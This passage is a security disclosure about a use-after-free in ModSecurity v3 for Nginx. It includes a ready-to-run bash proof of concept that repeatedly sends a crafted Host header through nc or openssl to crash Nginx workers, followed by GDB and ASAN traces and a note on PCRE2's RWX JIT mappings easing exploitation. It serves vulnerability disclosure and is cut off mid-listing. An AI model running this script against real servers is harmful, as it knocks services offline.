The ModSecurity for Nginx "non-release" version suffers from a use-after-free vulnerability.
5ecc1db2379d722379ab019204862c7f
Hey,
TL;DR: UAF in a "non-release" version of ModSecurity for Nginx.
!RCE|DoS, no need to panic.
Plus some old and even older exploitation vector(s).
/*
* 1. Use-After-Free (UAF)
*/
During one of the engagements my team tested a WAF running in production
Nginx + ModSecurity + OWASP Core Rule Set [1][2][3]. In the system logs I
found information about the Nginx worker processes being terminated due to
memory corruption errors.
Through fuzzing and stress testing it was possible to obtain a minimised
payload triggering the memory corruption. Further analysis revealed the v3
branch of ModSecurity suffered from an UAF vulnerability. Unfortunately,
all I managed to do with it was to cause a poor-man's remote DoS, perhaps
others will have more luck exploiting it. Looking forward to read about it.
The jaw dropping PoC:
--
$ cat > modsecngxdos.sh << EOF
#!/bin/bash
a="QlpoOTFBWSZTWZB0FmAAAAlfgAAQAQEQAEWAVAom%2f96UIABQxhMTJgJgACKHqYaj"
a=\$a"EaYRk2pkZNlJnepN6k2L5PW8zntXMKxo5QpTgThzp3eBFqIXA0G5fxY3iA%2bYUj"
a=\$a"8XckU4UJCQdBZg"
b="GET / HTTP/1.1\r\nUser-Agent: grabber\r\nHost: \$a\r\n\r\n"
if [ -z "\$1" ]; then
echo -e "\n \$0 <host> <port> [tls]\n"
echo ; exit
elif [ ! -z "\$3" ]; then
c="openssl s_client -tls1 -no_ign_eof -quiet -connect \$1:\$2"
else
c="nc \$1 \$2"
fi; echo "Ctrl+C to abort..."
while true; do
d=\$(echo -e \$b | \$c 2>/dev/null)
echo -n "!grab!"
if [ ! -z "\$d" ]; then
echo "Oh crap. Probably \$1 is not vulnerable. Better luck next time!"
exit
else
echo -n "poof!gone"
fi
done
EOF
--
The PoC was confirmed to work against the following combo setups:
--
ModSecurity v3/119a6fc07482096e8429399dc2d7c0d3f903a7ae
CentOS 7.4.1708
libpthread-2.17 [4]
ModSecurity v3/5a32b389b49ebd0325a1ba81d7032593f8b9fb18
Fedora 18
libpthread-2.17
ModSecurity v3/5a32b389b49ebd0325a1ba81d7032593f8b9fb18
Ubuntu 14.04 LTS
libpthread-2.19
--
GDB:
--
# gdb -p `pgrep nginx|tail -n1` /opt/nginx/nginx_vuln
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007f6a07632f4b in std::string::operator+=(char) () from
/lib64/libstdc++.so.6
(gdb) bt
#0 0x00007f6a07632f4b in std::string::operator+=(char) () from
/lib64/libstdc++.so.6
#1 0x00007f6a079807ed in modsecurity::Rule::getFinalVars
(this=this@entry=0x26962d0, trans=trans@entry=0x31f6430) at
rule.cc:504
#2 0x0007f6a07981972 in modsecurity::Rule::evaluate
(this=this@entry=0x26962d0, trans=trans@entry=0x31f6430,
ruleMessage=std::shared_ptr (count 1, weak 0) 0x32f5c70) at
rule.cc:637
#3 0x00007f6a079744a6 in modsecurity::Rules::evaluate (this=0x2618210,
phase=phase@entry=6, transaction=transaction@entry=0x31f6430) at
rules.cc:212
#4 0x00007f6a0796210d in modsecurity::Transaction::processLogging
(this=0x31f6430) at transaction.cc:1243
#5 0x00007f6a079624b5 in modsecurity::msc_process_logging
(transaction=<optimized out>) at transaction.cc:2101
#6 0x00000000004918b8 in ngx_http_modsecurity_log_handler
(r=<optimized out>) at
/bla/ModSecurity-nginx/src/ngx_http_modsecurity_log.c:72
#7 0x0000000000439690 in ngx_http_log_request (r=r@entry=0x260db60) at
src/http/ngx_http_request.c:3109
#8 0x0000000000439806 in ngx_http_free_request (r=r@entry=0x260db60,
rc=rc@entry=0) at src/http/ngx_http_request.c:3064
#9 0x00000000004399e3 in ngx_http_close_request (r=r@entry=0x260db60,
rc=rc@entry=0) at src/http/ngx_http_request.c:3017
#10 0x000000000043be5d in ngx_http_finalize_connection
(r=r@entry=0x260db60) at src/http/ngx_http_request.c:2233
#11 0x000000000043caa9 in ngx_http_finalize_request
(r=r@entry=0x260db60, rc=<optimized out>, rc@entry=0) at
src/http/ngx_http_request.c:2127
#12 0x000000000044aea6 in ngx_http_upstream_finalize_request
(r=r@entry=0x260db60, u=u@entry=0x323c600, rc=rc@entry=0) at
src/http/ngx_http_upstream.c:3102
#13 0x000000000044ba90 in ngx_http_upstream_process_request
(r=r@entry=0x260db60) at src/http/ngx_http_upstream.c:2721
#14 0x000000000044bb89 in ngx_http_upstream_process_upstream
(r=r@entry=0x260db60, u=u@entry=0x323c600) at
src/http/ngx_http_upstream.c:2655
#15 0x000000000044d449 in ngx_http_upstream_send_response
(u=0x323c600, r=0x260db60) at src/http/ngx_http_upstream.c:2348
#16 0x000000000044d4d6 in ngx_http_upstream_process_header
(r=0x260db60, u=0x323c600) at src/http/ngx_http_upstream.c:1644
#17 0x000000000044bc07 in ngx_http_upstream_handler (ev=0x2fcd598) at
src/http/ngx_http_upstream.c:935
#18 0x0000000000427bfc in ngx_epoll_process_events (cycle=0x25f4960,
timer=<optimized out>, flags=<optimized out>) at
src/event/modules/ngx_epoll_module.c:683
#19 0x000000000041eb3e in ngx_process_events_and_timers
(cycle=cycle@entry=0x25f4960) at src/event/ngx_event.c:247
#20 0x0000000000425d40 in ngx_worker_process_cycle (cycle=0x25f4960,
data=<optimized out>) at src/os/unix/ngx_process_cycle.c:807
#21 0x000000000042449f in ngx_spawn_process
(cycle=cycle@entry=0x25f4960, proc=proc@entry=0x425c51
<ngx_worker_process_cycle>, data=data@entry=0x0,
name=name@entry=0x4965e6 "worker process", respawn=respawn@entry=-3)
at src/os/unix/ngx_process.c:198
#22 0x0000000000424fcd in ngx_start_worker_processes
(cycle=cycle@entry=0x25f4960, n=1, type=type@entry=-3) at
src/os/unix/ngx_process_cycle.c:362
#23 0x000000000042664c in ngx_master_process_cycle
(cycle=cycle@entry=0x25f4960) at src/os/unix/ngx_process_cycle.c:136
#24 0x0000000000408eca in main (argc=<optimized out>, argv=<optimized
out>) at src/core/nginx.c:412
--
ASAN:
--
==17348==ERROR: AddressSanitizer: heap-use-after-free on address
0x60700011dce0 at pc 0x7f59f2baf935 bp 0x7ffe23c92e50 sp
0x7ffe23c925f8
READ of size 38 at 0x60700011dce0 thread T0
#0 0x7f59f2baf934 in __asan_memcpy
(/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8c934)
#1 0x7f59f21d7b36 in std::char_traits<char>::copy(char*, char
const*, unsigned long) /usr/include/c++/5/bits/char_traits.h:290
#2 0x7f59f21d7b36 in std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> >::_S_copy(char*, char
const*, unsigned long) /usr/include/c++/5/bits/basic_string.h:299
#3 0x7f59f21d7b36 in std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> >::_S_copy_chars(char*,
char const*, char const*) /usr/include/c++/5/bits/basic_string.h:346
#4 0x7f59f21d7b36 in void std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> >::_M_construct<char
const*>(char const*, char const*, std::forward_iterator_tag)
/usr/include/c++/5/bits/basic_string.tcc:229
#5 0x7f59f21deddc in void std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char>
>::_M_construct_aux<char*>(char*, char*, std::__false_type)
/usr/include/c++/5/bits/basic_string.h:195
#6 0x7f59f21deddc in void std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char>
>::_M_construct<char*>(char*, char*)
/usr/include/c++/5/bits/basic_string.h:214
#7 0x7f59f21deddc in std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char>
>::basic_string(std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> > const&)
/usr/include/c++/5/bits/basic_string.h:400
#8 0x7f59f21deddc in
modsecurity::Rule::getFinalVars(modsecurity::Transaction*)
/bla/src/ModSecurity/src/rule.cc:596
#9 0x7f59f21dfc1c in
modsecurity::Rule::evaluate(modsecurity::Transaction*,
std::shared_ptr<modsecurity::RuleMessage>)
/bla/ModSecurity/src/rule.cc:728
#10 0x7f59f21d2646 in modsecurity::Rules::evaluate(int,
modsecurity::Transaction*) /bla/src/ModSecurity/src/rules.cc:219
#11 0x7f59f21bde18 in
modsecurity::Transaction::processRequestBody()
/bla/src/ModSecurity/src/transaction.cc:803
#12 0x640d64 in ngx_http_modsecurity_pre_access_handler
../ModSecurity-nginx/src/ngx_http_modsecurity_pre_access.c:199
#13 0x4de9e9 in ngx_http_core_generic_phase
src/http/ngx_http_core_module.c:873
#14 0x4de818 in ngx_http_core_run_phases src/http/ngx_http_core_module.c:851
#15 0x4de6ce in ngx_http_handler src/http/ngx_http_core_module.c:834
#16 0x505583 in ngx_http_process_request src/http/ngx_http_request.c:1948
#17 0x502382 in ngx_http_process_request_headers
src/http/ngx_http_request.c:1375
#18 0x5001d6 in ngx_http_process_request_line
src/http/ngx_http_request.c:1048
#19 0x4fe67c in ngx_http_wait_request_handler
src/http/ngx_http_request.c:506
#20 0x4c7083 in ngx_epoll_process_events
src/event/modules/ngx_epoll_module.c:902
#21 0x4930a9 in ngx_process_events_and_timers src/event/ngx_event.c:242
#22 0x4bea2b in ngx_worker_process_cycle src/os/unix/ngx_process_cycle.c:750
#23 0x4b5756 in ngx_spawn_process src/os/unix/ngx_process.c:199
#24 0x4bdbf2 in ngx_reap_children src/os/unix/ngx_process_cycle.c:622
#25 0x4ba892 in ngx_master_process_cycle src/os/unix/ngx_process_cycle.c:175
#26 0x40e45a in main src/core/nginx.c:382
#27 0x7f59f189b82f in __libc_start_main
(/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#28 0x40d4f8 in _start (/usr/sbin/nginx+0x40d4f8)
0x60700011dce0 is located 0 bytes inside of 69-byte region
[0x60700011dce0,0x60700011dd25)
freed by thread T0 here:
#0 0x7f59f2bbcb2a in operator delete(void*)
(/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99b2a)
#1 0x7f59f220eca8 in
__gnu_cxx::new_allocator<char>::deallocate(char*, unsigned long)
/usr/include/c++/5/ext/new_allocator.h:110
#2 0x7f59f220eca8 in std::allocator_traits<std::allocator<char>
>::deallocate(std::allocator<char>&, char*, unsigned long)
/usr/include/c++/5/bits/alloc_traits.h:517
#3 0x7f59f220eca8 in std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> >::_M_destroy(unsigned
long) /usr/include/c++/5/bits/basic_string.h:185
#4 0x7f59f220eca8 in std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> >::_M_dispose()
/usr/include/c++/5/bits/basic_string.h:180
#5 0x7f59f220eca8 in std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> >::~basic_string()
/usr/include/c++/5/bits/basic_string.h:543
#6 0x7f59f220eca8 in
modsecurity::collection::Collection::resolveMultiMatches(std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> > const&,
std::__cxx11::basic_string<char, std::char_traits<char>,
std::allocator<char> >, std::vector<modsecurity::collection::Variable
const*, std::allocator<modsecurity::collection::Variable const*> >*)
../headers/modsecurity/collection/collection.h:102
#7 0x7f59f220eca8 in
modsecurity::collection::Collections::resolveMultiMatches(std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> > const&,
std::__cxx11::basic_string<char, std::char_traits<char>,
std::allocator<char> > const&,
std::vector<modsecurity::collection::Variable const*,
std::allocator<modsecurity::collection::Variable const*> >*)
collection/collections.cc:270
#8 0x7ffe23c92faf (<unknown module>)
previously allocated by thread T0 here:
#0 0x7f59f2bbc532 in operator new(unsigned long)
(/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99532)
#1 0x7f59f048b498 in std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> >::_M_mutate(unsigned
long, unsigned long, char const*, unsigned long)
(/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x11f498)
--
/*
* 2. The RWX memory mappings
*/
During the analysis I found that Nginx processes are using RWX memory
mappings, upon further investigation it was revealed that those mapping
were created by PCRE2 code which is heavily used in ModSecurity.
The problem is that the PCRE2's JIT compiler (and DGC in general) in order
to operate correctly requires RWX mapped memory, and because of this
requirement the security of the code that uses PCRE2 can be impacted.
This issue has been known for some time (although new to me) [5][6] with
others trying to address it in one way or another [7][8][9][10][11] with
varied degrees of success.
Programmers who use PCRE2 can unknowingly introduce memory mappings with
RWX permissions in their programs. This will make the exploitation process
easier (e.g bypassing NX/DEP) or possible (i.e. circumventing CFI) for
memory corruption vulnerabilities identified in these programs.
The PCRE2's function responsible for creating the RWX mapping is defined in
src/sljit/sljitExecAllocator.c [12]:
97 static SLJIT_INLINE void* alloc_chunk(sljit_uw size)
98 {
99 void *retval;
100
101 #ifdef MAP_ANON
102 retval = mmap(NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANON, -1, 0);
103 #else
104 if (dev_zero < 0) {
105 if (open_dev_zero())
106 return NULL;
107 }
108 retval = mmap(NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE, dev_zero, 0);
109